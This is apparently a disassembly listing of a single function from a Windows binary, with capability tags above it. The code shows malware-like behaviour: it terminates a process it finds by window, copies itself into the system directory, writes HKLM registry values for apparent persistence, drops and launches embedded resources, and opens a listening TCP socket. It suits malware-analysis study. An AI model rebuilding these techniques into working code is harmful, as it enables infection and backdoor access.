Function at 0x406928
Capabilities:
Check os version
Copy file
Create process on windows
Create tcp socket
Create udp socket
Extract resource via kernel32 functions
Get common file path
Get memory capacity
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x406930
push ecx
push ebx
push esi
push edi
mov eax, 0x4068e8
call fcn.0040421c
xor eax, eax
push ebp
push 0x407119
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x41a660], eax
push 0x407128
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
push 0x407138
push esi
call sub.kernel32.dll_GetProcAddress
mov edi, eax
mov ebx, edi
test edi, edi
je 0x406983
push 1
call sub.kernel32.dll_GetCurrentProcessId
push eax
call ebx
mov byte [0x41a664], 0
call fcn.004066f0
xor eax, eax
mov dword [0x41a670], eax
push 0x41a41c
lea eax, [ebp - 0x14]
mov ecx, 0x407158
mov edx, dword [0x4080c8]
call fcn.00403a40
mov eax, dword [ebp - 0x14]
call fcn.00403bec
push eax
push 0x80000002
call sub.aXvXpX3X.XlX_RXgOpenKeyA
mov dword [0x419920], 4
push 0x419920
push 0x41a670
push 0
push 0
push 0x407160
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RXgXuXrXVXlXeXxX_1
push 0
push 0x407168
call sub.user32.dll_FindWindowA
mov ebx, eax
cmp dword [0x41a670], 0x83
jge 0x406c2a
lea edx, [ebp - 0x18]
mov eax, 1
call fcn.00402808
mov eax, dword [ebp - 0x18]
mov edx, 0x407178
call fcn.00403b38
je 0x406c2a
test ebx, ebx
je 0x406a4d
push 0x41a674
push ebx
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [0x41a674]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
mov dword [0x41a670], 0x83
push 4
push 0x41a670
push 4
push 0
push 0x407160
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RXgXeXVXlXeXxX
push 0xff
push 0x409914
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x41a420
mov edx, 0x409914
mov ecx, 0x10000
call fcn.004039b8
push dword [0x41a420]
push 0x407184
push dword [0x4080c4]
mov eax, 0x41a420
mov edx, 3
call fcn.00403ab4
push 0
mov eax, 0x41a420
call fcn.00403c3c
push eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402808
mov eax, dword [ebp - 0x1c]
call fcn.00403bec
push eax
call sub.kernel32.dll_CopyFileA
push 0x41a41c
lea eax, [ebp - 0x20]
mov ecx, 0x407190
mov edx, dword [0x4080c8]
call fcn.00403a40
mov eax, dword [ebp - 0x20]
call fcn.00403bec
push eax
push 0x80000002
call sub.aXvXpX3X.XlX_RXgOpenKeyA
mov eax, dword [0x41a420]
call fcn.004039f4
push eax
mov eax, 0x41a420
call fcn.00403c3c
push eax
push 1
push 0
mov eax, 0x4080c4
call fcn.00403c3c
push eax
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RXgXeXVXlXeXxX
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RegCloseKey
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RegCloseKey
mov edx, 0x41a420
xor eax, eax
call fcn.00402808
push 0xff
push 0x409914
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x41a420
mov edx, 0x409914
mov ecx, 0x10000
call fcn.004039b8
push dword [0x41a420]
push 0x407184
push dword [0x4080c4]
mov eax, 0x41a420
mov edx, 3
call fcn.00403ab4
push 0
mov eax, 0x41a420
call fcn.00403c3c
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402808
mov eax, dword [ebp - 0x24]
call fcn.00403bec
push eax
call sub.kernel32.dll_CopyFileA
push 0x41a41c
lea eax, [ebp - 0x28]
mov ecx, 0x407190
mov edx, dword [0x4080c8]
call fcn.00403a40
mov eax, dword [ebp - 0x28]
call fcn.00403bec
push eax
push 0x80000002
call sub.aXvXpX3X.XlX_RXgOpenKeyA
mov eax, dword [0x41a420]
call fcn.004039f4
push eax
mov eax, 0x41a420
call fcn.00403c3c
push eax
push 1
push 0
mov eax, 0x4080c4
call fcn.00403c3c
push eax
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RXgXeXVXlXeXxX
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RegCloseKey
jmp 0x4070fe
xor eax, eax
mov dword [0x41a5a0], eax
push 0x419920
push 0x41a5a0
push 0
push 0
push 0x407194
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RXgXuXrXVXlXeXxX_1
cmp dword [0x41a5a0], 0
jne 0x406daa
call fcn.004028ac
mov eax, 0x2328
call fcn.00402d64
add eax, 0x3e8
lea edx, [ebp - 0x2c]
call fcn.004046f0
mov edx, dword [ebp - 0x2c]
mov eax, 0x41a5a4
call fcn.004038d0
mov dword [0x41a63c], 0x20
push 0x41a63c
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [0x41a644]
shr eax, 0x14
mov ecx, 0x5a
xor edx, edx
div ecx
mov eax, edx
add eax, 0xa
lea edx, [ebp - 0x30]
call fcn.004046f0
mov edx, dword [ebp - 0x30]
mov eax, 0x41a5a4
call fcn.004039fc
mov dword [0x41a5a8], 0x94
push 0x41a5a8
call sub.kernel32.dll_GetVersionExA
mov eax, dword [0x41a5b8]
sub eax, 1
jb 0x406ce9
je 0x406cfa
dec eax
je 0x406d3b
jmp 0x406d4c
mov eax, 0x41a5a4
mov edx, 0x4071a8
call fcn.004039fc
jmp 0x406d5b
mov eax, dword [0x41a5b0]
cmp eax, 0xa
jne 0x406d15
mov eax, 0x41a5a4
mov edx, 0x4071b4
call fcn.004039fc
jmp 0x406d5b
test eax, eax
jne 0x406d2a
mov eax, 0x41a5a4
mov edx, 0x4071c0
call fcn.004039fc
jmp 0x406d5b
mov eax, 0x41a5a4
mov edx, 0x4071cc
call fcn.004039fc
jmp 0x406d5b
mov eax, 0x41a5a4
mov edx, 0x4071d8
call fcn.004039fc
jmp 0x406d5b
mov eax, 0x41a5a4
mov edx, 0x4071e4
call fcn.004039fc
call sub.kernel32.dll_GetTickCount
mov ecx, 0xa
xor edx, edx
div ecx
mov eax, edx
lea edx, [ebp - 0x34]
call fcn.004046f0
mov edx, dword [ebp - 0x34]
mov eax, 0x41a5a4
call fcn.004039fc
mov eax, dword [0x41a5a4]
call fcn.00404718
mov dword [0x41a5a0], eax
push 4
push 0x41a5a0
push 4
push 0
push 0x407194
mov eax, dword [0x41a41c]
push eax
call sub.aXvXpX3X.XlX_RXgXeXVXlXeXxX
push 0xff
push 0x409914
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x41a420
mov edx, 0x409914
mov ecx, 0x10000
call fcn.004039b8
mov eax, 0x41a420
mov edx, 0x4071f0
call fcn.004039fc
push 0xa
push 0x4071fc
mov eax, dword [0x409700]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
push ebx
mov eax, dword [0x409700]
push eax
call sub.kernel32.dll_LoadResource
mov edi, eax
mov edx, dword [0x41a420]
mov eax, 0x41a454
call fcn.00402b40
mov edx, 1
mov eax, 0x41a454
call fcn.00402ea4
push 0
push ebx
mov eax, dword [0x409700]
push eax
call sub.kernel32.dll_SizeofResource
mov ecx, eax
mov edx, edi
mov eax, 0x41a454
call fcn.00402c64
mov eax, 0x41a454
call fcn.00402c84
mov eax, ebx
call fcn.00404458
push ebx
call sub.kernel32.dll_FreeResource
mov eax, dword [0x41a5a0]
mov ecx, 0x3e8
xor edx, edx
div ecx
mov ecx, 0x3e8
xor edx, edx
div ecx
add edx, 0x1f40
mov dword [0x41a44c], edx
push 0
push 0
lea edx, [ebp - 0x38]
mov eax, dword [0x41a44c]
call fcn.004046f0
mov eax, dword [ebp - 0x38]
call fcn.00403bec
push eax
mov eax, dword [0x41a420]
call fcn.00403bec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0xff
push 0x409914
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x41a420
mov edx, 0x409914
mov ecx, 0x10000
call fcn.004039b8
mov eax, 0x41a420
mov edx, 0x407208
call fcn.004039fc
push 0xa
push 0x407218
mov eax, dword [0x409700]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
push ebx
mov eax, dword [0x409700]
push eax
call sub.kernel32.dll_LoadResource
mov edi, eax
mov edx, dword [0x41a420]
mov eax, 0x41a454
call fcn.00402b40
mov edx, 1
mov eax, 0x41a454
call fcn.00402ea4
push 0
push ebx
mov eax, dword [0x409700]
push eax
call sub.kernel32.dll_SizeofResource
mov ecx, eax
mov edx, edi
mov eax, 0x41a454
call fcn.00402c64
mov eax, 0x41a454
call fcn.00402c84
mov eax, ebx
call fcn.00404458
push ebx
call sub.kernel32.dll_FreeResource
mov eax, dword [0x41a5a0]
mov ecx, 0x3e8
xor edx, edx
div ecx
mov ecx, 0x3e8
xor edx, edx
div ecx
add edx, 0x2328
mov dword [0x41a450], edx
push 0
push 0
lea edx, [ebp - 0x3c]
mov eax, dword [0x41a450]
call fcn.004046f0
mov eax, dword [ebp - 0x3c]
call fcn.00403bec
push eax
mov eax, dword [0x41a420]
call fcn.00403bec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.kernel32.dll_GetModuleHandleA
mov ebx, eax
mov dword [0x409720], 0xc0
mov dword [0x409724], 0x406598
mov dword [0x409730], ebx
mov dword [0x40973c], 0x10
mov eax, 0x407168
mov dword [0x409744], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [0x409738], eax
push 0x409720
call sub.user32.dll_RegisterClassA
push 0
push 0
push 0
call sub.user32.dll_GetSystemMetrics
push eax
push 1
call sub.user32.dll_GetSystemMetrics
push eax
push 0
push 0
push ebx
push 0
mov eax, 0x407168
xor ecx, ecx
xor edx, edx
call fcn.0040445c
mov dword [0x40971c], eax
push 0x409764
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x4098f4], eax
mov word [0x4098fc], 2
xor eax, eax
mov dword [0x409900], eax
mov ax, word [0x41a448]
push eax
call sub.wsock32.dll_htons
mov word [0x4098fe], ax
push 0x10
push 0x4098fc
mov eax, dword [0x4098f4]
push eax
call sub.wsock32.dll_bind
push 1
mov eax, dword [0x4098f4]
push eax
call sub.wsock32.dll_listen
push 8
push 0x49c
mov eax, dword [0x40971c]
push eax
mov eax, dword [0x4098f4]
push eax
call sub.wsock32.dll_WSAAsyncSelect
mov eax, 0x10
call fcn.00402498
mov dword [0x40990c], eax
mov eax, 4
call fcn.00402498
mov dword [0x409910], eax
mov dword [0x41a65c], 0x927c0
call fcn.00406420
push 0x406544
push 0x7530
push 4
mov eax, dword [0x40971c]
push eax
call sub.user32.dll_SetTimer
jmp 0x4070ea
push 0x409748
call sub.user32.dll_DispatchMessageA
push 0x409748
call sub.user32.dll_TranslateMessage
push 0
push 0
push 0
push 0x409748
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x4070d6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407120
lea eax, [ebp - 0x3c]
mov edx, 0xb
call fcn.004038a0
ret